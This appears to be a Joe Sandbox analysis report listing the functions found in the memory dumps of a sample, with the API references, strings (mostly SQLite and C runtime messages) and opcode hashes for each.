Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b6877663b72478c921046e8b62552550de42e283109204e7406cf9fbc6b57853
Instruction ID: 691f324cf1aa27353b3a0c0d8b252cab02f2ef074516e848f7743b1eda0cbc49
Opcode Fuzzy Hash: b6877663b72478c921046e8b62552550de42e283109204e7406cf9fbc6b57853
Instruction Fuzzy Hash: 515192F2A19E028BDB54EB25D04C6FA2793EB45BA8F608131DA5D47758DF7CE841C740

Function 00007FFB0C048CA0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 152COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C048D27

Strings

%s at line %d of [%.10s], xrefs: 00007FFB0C048EC1
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFB0C048EA9
database corruption, xrefs: 00007FFB0C048EB5

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3122504284-3727861699
Opcode ID: 75da13944be0d2eaaf71d09a02690a791e9ea79b5304e52c345f89a23cfe710d
Instruction ID: 416c838c855d0a57efb00866271581d64c1669c6827dc6ce701df0411d8a4a2b
Opcode Fuzzy Hash: 75da13944be0d2eaaf71d09a02690a791e9ea79b5304e52c345f89a23cfe710d
Instruction Fuzzy Hash: 2951EFF2608BC0C5CB118B6AE4889AEBB64FB54B84F55813AEB8E43795EB3CD445C704

Function 00007FFB0C05C5E7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C05C72D
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C05C746

Strings

string or blob too big, xrefs: 00007FFB0C062103
out of memory, xrefs: 00007FFB0C062478

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: out of memory$string or blob too big
API String ID: 3122504284-2410398255
Opcode ID: 32c2ae49c0d43b0bf73bf14441e4c9b52f205afacfc25aad9bb6812841d0f57a
Instruction ID: f1f34a75351eb180d12df4863143450f8bffbbd1b4ac085409ec7e93f9149d45
Opcode Fuzzy Hash: 32c2ae49c0d43b0bf73bf14441e4c9b52f205afacfc25aad9bb6812841d0f57a
Instruction Fuzzy Hash: F961CEE2A0879282E7149B36D158A7E6764FF45B98F104032EE8D07B95EF3CE842C714

Function 00007FFB0C028417 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C0284C8
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C02854E

Strings

(subquery-%u), xrefs: 00007FFB0C028570
(join-%u), xrefs: 00007FFB0C028559

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: (join-%u)$(subquery-%u)
API String ID: 3122504284-2916047017
Opcode ID: e4b271abe33ea453b0af829f0d0b3c64b2499140cc847aae9644bee38be7c82c
Instruction ID: 200d501f2a89163f8c24da8936d99148288deb55dc908823d71b3197d6e8f25b
Opcode Fuzzy Hash: e4b271abe33ea453b0af829f0d0b3c64b2499140cc847aae9644bee38be7c82c
Instruction Fuzzy Hash: C751ADF7A1865282EA668E35D048F3963A5FF14BA8F568731DA3D036C4EF2CE841C744

Function 00007FFB1C2534E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB1C255508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFB1C25108E), ref: 00007FFB1C255516

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFB1C25358A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FFB1C2535B3
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C253611

Strings

csm, xrefs: 00007FFB1C2536B7

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: abort$CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 444109036-1018135373
Opcode ID: 7c62ae0bd6f598e5530dee3ab7a169ccc6f3387c11d68efdd1ef4d3d9c7f7e50
Instruction ID: 008a86f0bc0cb3b193fefae333a2dc1ba1ca4a406b02ad3951c1125625fd7603
Opcode Fuzzy Hash: 7c62ae0bd6f598e5530dee3ab7a169ccc6f3387c11d68efdd1ef4d3d9c7f7e50
Instruction Fuzzy Hash: 78515FF2618B4187E620AB65E4446EF7BA6FB8ABA0F201535DB8D47755CF3CE850CB40

Function 00007FFB0C04FE60 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C04FF93

Strings

-, xrefs: 00007FFB0C04FF77
%!.15g, xrefs: 00007FFB0C04FFDC
, xrefs: 00007FFB0C04FFB2

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: $%!.15g$-
API String ID: 3122504284-875264902
Opcode ID: 312380605faac612b932c0e84749a71c5b5db630570bc0cb0ad3afdeeff4af52
Instruction ID: 69d4ca6ac5c02b4a63b4f1d67a6d5c4e46484afd8992e8a8143ca75968f19bb2
Opcode Fuzzy Hash: 312380605faac612b932c0e84749a71c5b5db630570bc0cb0ad3afdeeff4af52
Instruction Fuzzy Hash: D84103E2A1C79687EB10CB3EE055BAABBA0EF85784F004135EA8E47796DB3DD405C740

Function 00007FFB1C2599AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFB1C259A06

Strings

%lf, xrefs: 00007FFB1C259A41, 00007FFB1C259A75, 00007FFB1C259AA5

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: NameName::
String ID: %lf
API String ID: 1333004437-2891890143
Opcode ID: 96db185dee724ff1af179d5801cdaf6ae824addfb7b5e3897bc050de27ca576d
Instruction ID: 8c42969d5d7a6ddcf243fc979b12e1bab5e4c5d7fc94946b7cd5c011f8e7e334
Opcode Fuzzy Hash: 96db185dee724ff1af179d5801cdaf6ae824addfb7b5e3897bc050de27ca576d
Instruction Fuzzy Hash: 9131C8E1B08F9686E610FB75E8580FA6352BF477A0F644132E94E43351DE3CE942C380

Function 00007FFB1B6FEDCC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32 ref: 00007FFB1B6FEE65
SysFreeString.OLEAUT32 ref: 00007FFB1B6FEE83

Strings

String too long for BSTR, xrefs: 00007FFB1B6FEE47
unicode string expected instead of %s instance, xrefs: 00007FFB1B6FEE06

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: String$AllocFree
String ID: String too long for BSTR$unicode string expected instead of %s instance
API String ID: 344208780-178309214
Opcode ID: 333dcf3fb14b4492ca0ae43436d3c775c4d9729a31c5a973eee24abc849743e6
Instruction ID: ed128f87e938ae831b86faf5a6e716e00b394d9ea2c1a97a5c02e4b9aef5375b
Opcode Fuzzy Hash: 333dcf3fb14b4492ca0ae43436d3c775c4d9729a31c5a973eee24abc849743e6
Instruction Fuzzy Hash: 7A21E9A5A09F4281EF548B76FC541386762AF9AFE0F14E036E94E43B34DE3CE4988300

Function 00007FFB1C2510F0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB1C255508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFB1C25108E), ref: 00007FFB1C255516

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C25112E

Strings

RCC, xrefs: 00007FFB1C251100
csm, xrefs: 00007FFB1C251110
MOC, xrefs: 00007FFB1C251108

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: abortterminate
String ID: MOC$RCC$csm
API String ID: 661698970-2671469338
Opcode ID: 1e1d061888eb5ed8958d1a3f543fee4a516cb38e8faaed4a66704169c3245728
Instruction ID: 37f027a5dfa13a7d727593ae4a4363ae1fa1fb355954d1f73298aefda2580976
Opcode Fuzzy Hash: 1e1d061888eb5ed8958d1a3f543fee4a516cb38e8faaed4a66704169c3245728
Instruction Fuzzy Hash: BBF08CF2918A0283E7507BB4E1892FE3762EF49B61F299070C74842366CF3CD890C780

Function 00007FFB0C06DB10 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C06DBF7
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C06DC4B
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C06DCA7
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C06DD27

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID:
API String ID: 3122504284-0
Opcode ID: 1485575833ac080eba873b396e4fec7d0adbbe42a312c587b8f7937f0ac7c60a
Instruction ID: 975df3d2382b3619ca62800f4c4987bb0e04a1ab0cc6c12c182a85d40250b76b
Opcode Fuzzy Hash: 1485575833ac080eba873b396e4fec7d0adbbe42a312c587b8f7937f0ac7c60a
Instruction Fuzzy Hash: AD91BFF1B09B468AEA659F32D558A6923A0FF44BA0F495234EE6D077C5EF3CE410C708

Function 00007FFB1C258EC8 Relevance: 6.2, APIs: 4, Instructions: 193COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFB1C25B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B6DD
Part of subcall function 00007FFB1C25B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B716
Part of subcall function 00007FFB1C25B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25BA41

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C259023
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C259082
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C2590B4
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C2590C4

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 21ceaebb6340b33c2880b1d94455a3a587ac808d2dbe1c8140b81e3c0e4e29dc
Instruction ID: 56ead7670d37914fc795e9190fb6140aee321805e8a7f442711531f2ca6a7d68
Opcode Fuzzy Hash: 21ceaebb6340b33c2880b1d94455a3a587ac808d2dbe1c8140b81e3c0e4e29dc
Instruction Fuzzy Hash: 86913DE2E08EA28AFB10AB74D8483ED2762BB06768F644035DE4D17795DFBD9845C390

Function 00007FFB1C25BB04 Relevance: 6.1, APIs: 4, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFB1C25B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B6DD
Part of subcall function 00007FFB1C25B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B716
Part of subcall function 00007FFB1C25B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25BA41

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25BB84
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25BB93
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25BC0F
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25BC1E

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 0bd3be82ad391ae9cd5c01d857b5e8d25ae8efb4ad2905c542e999dede7c0f10
Instruction ID: a6bc64c2a445d522418e96c2a8ab616c2cb56755342b4e33dd3a9983df2cf87c
Opcode Fuzzy Hash: 0bd3be82ad391ae9cd5c01d857b5e8d25ae8efb4ad2905c542e999dede7c0f10
Instruction Fuzzy Hash: 714168F2E04B818AE7019F74D4483ED37A1BB49B68F648025DE4C57749DF789840C790

Function 00007FFB0C0840F0 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C084165
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C084189
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C0841A8
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C0841C0

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID:
API String ID: 3122504284-0
Opcode ID: b93e7d24146e94e90c05e856a74659a5816adcbd1dcfc72995cc6fe0d7043182
Instruction ID: f6d823fa01a35a1dea86b4947f8ba8a98a4007d0188ff27db64542ee6915adb6
Opcode Fuzzy Hash: b93e7d24146e94e90c05e856a74659a5816adcbd1dcfc72995cc6fe0d7043182
Instruction Fuzzy Hash: 0A219EE2A0874283DA249F26F5555BAA3A1FF44BC0B485131DBCE47F66DF2CE055C304

Function 00007FFB1B6FE7C8 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFB1B6FE7FD
LocalFree.KERNEL32 ref: 00007FFB1B6FE832

Strings

<no description>, xrefs: 00007FFB1B6FE83A
|i:FormatError, xrefs: 00007FFB1B6FE7DC

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorFreeLastLocal
String ID: <no description>$|i:FormatError
API String ID: 3928016487-1632374824
Opcode ID: dbbfa7394e956fac4913724af931672fa89993993dfa9f029aeeddf1fb6a9810
Instruction ID: 9b9eef011fd4627dc6b03f0a274e4b743a0c690e09ba718177ce5632f112495e
Opcode Fuzzy Hash: dbbfa7394e956fac4913724af931672fa89993993dfa9f029aeeddf1fb6a9810
Instruction Fuzzy Hash: FB0169A1A08E4282EE149B32FC14079A6A3FF55BF0B54E236D96E436F4EE3CD4458600

Function 00007FFB1B6F610C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFB1B6F6138
GetCurrentThreadId.KERNEL32 ref: 00007FFB1B6F6146
GetCurrentProcessId.KERNEL32 ref: 00007FFB1B6F6152
QueryPerformanceCounter.KERNEL32 ref: 00007FFB1B6F6162

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 4ab32cd6e4f528cccb9bd86d2be6934b82d58d935ecb871045cd9ac52d02cd60
Instruction ID: 5d3cf7cf13199cb5de0c63e6e48b9e7b906663af484485e8092252deb0627646
Opcode Fuzzy Hash: 4ab32cd6e4f528cccb9bd86d2be6934b82d58d935ecb871045cd9ac52d02cd60
Instruction Fuzzy Hash: 9B111C62B14F018AEF00CB71E8553B833A4F719768F446E36EA6D86BB4DF78D1588340

Function 00007FFB0C1AB9FC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFB0C1ABA28
GetCurrentThreadId.KERNEL32 ref: 00007FFB0C1ABA36
GetCurrentProcessId.KERNEL32 ref: 00007FFB0C1ABA42
QueryPerformanceCounter.KERNEL32 ref: 00007FFB0C1ABA52

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: e1338ba137a7be5dbb948f5b1b4ae9a01302a02f2a375ea91944fd86fb812fe8
Instruction ID: 7ff6a7da4ee205b436e8d04d84e7334b43092ffa73002ac3f5216bfacebf035c
Opcode Fuzzy Hash: e1338ba137a7be5dbb948f5b1b4ae9a01302a02f2a375ea91944fd86fb812fe8
Instruction Fuzzy Hash: 711118B6B14B058AEB008BB1E8586A933B4FF19B58F440E31DA6D867A4DF78D199C340

Function 00007FFB1AB041EC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFB1AB04218
GetCurrentThreadId.KERNEL32 ref: 00007FFB1AB04226
GetCurrentProcessId.KERNEL32 ref: 00007FFB1AB04232
QueryPerformanceCounter.KERNEL32 ref: 00007FFB1AB04242

Memory Dump Source

Source File: 00000007.00000002.1714746731.00007FFB1AB01000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFB1AB00000, based on PE: true

Associated: 00000007.00000002.1714712112.00007FFB1AB00000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB0E000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB11000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714860777.00007FFB1AB12000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714897323.00007FFB1AB13000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ab00000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9a9bcaab0169d31b611b93b3b17d643d26cf28526b5f29e8fbd39da941c83064
